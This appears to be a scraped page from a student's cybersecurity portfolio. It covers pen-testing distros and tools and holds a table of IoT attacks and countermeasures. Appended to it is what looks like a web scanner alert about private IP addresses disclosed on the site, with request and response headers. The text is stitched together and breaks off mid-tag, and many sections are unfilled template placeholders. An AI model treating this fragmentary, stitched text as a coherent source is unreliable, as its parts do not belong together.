class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 172.16.0.2Solution Remove the private IP address from the HTTP response body. For comments, use JSP/ASP/PHP comment instead of HTML/JavaScript comment which can be seen by client browsers.
GET https://beekmans.dev/
Alert tags Alert description A private IP (such as 10.x.x.x, 172.x.x.x, 192.168.x.x) or an Amazon EC2 private hostname (for example, ip-10-0-56-78) has been found in the HTTP response body. This information might be helpful for further attacks targeting internal systems.
Other info 172.16.0.2
172.16.0.3
10.10.14.40:8888
10.10.14.40:8888
10.10.14.88:8888
172.18.0.1
172.18.0.100
172.18.0.100
10.10.14.161
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" 